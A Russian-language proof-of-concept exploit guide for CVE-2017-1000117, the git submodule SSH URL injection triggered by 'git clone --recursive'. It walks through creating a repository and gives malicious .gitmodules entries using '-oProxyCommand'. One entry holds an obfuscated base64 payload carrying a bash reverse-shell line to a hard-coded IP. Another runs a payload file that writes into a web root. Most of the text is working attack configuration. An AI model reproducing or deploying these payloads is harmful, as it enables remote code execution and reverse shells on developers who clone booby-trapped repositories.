
Эксплойт для проверки концепции для CVE-2017-1000117: удаленное выполнение кода через вредоносный SSH URL подмодуля git, обеспечивающий доставку полезной нагрузки обратного шелла во время рекурсивных операций клонирования.
Злоумышленники могут создать специальную ссылку "ssh://…", чтобы при её открытии жертвой (например, при выполнении программы) добиться выполнения команд. Эта ссылка может быть помещена в файл .gitmodules git-проекта, так что при выполнении жертвой команды git clone --recurse-submodules или git clone --recursive возникнет проблема безопасности.
Предварительная подготовка:
Ввод в командной строке Linux: printf 'a' >> /tmp/pwned.txt Обнаружено, что в каталоге /tmp создан файл pwned.txt с содержимым 'a'.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git // Созданы два подмодуля sub1 и name2)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
Существует два способа создания:
Первый способ:
Откройте файл .gitmodules и измените его содержимое (достаточно изменить только первый подмодуль, так как будет выполнен только эксплойт из первого подмодуля; здесь создано два подмодуля, потому что иногда один не выполняется, точная причина пока не изучалась).
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(См. файл .gitmodules.bak1 для подробностей)
Первый способ не требует файла payload.
Второй способ:
Откройте файл .gitmodules и измените его содержимое (достаточно изменить только первый подмодуль).
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(См. файл .gitmodules для подробностей)
Этот способ требует файла payload. В файл payload мы вводим: printf 'sss' > /var/www/html/vul
Примечание
Способ git clone должен быть одним из следующих двух:
git clone --recursive url
git clone --recurse-submodules url
Использование git clone без этих опций просто загрузит репозиторий без создания дополнительных файлов, поэтому условие для эксплуатации уязвимости довольно строгое.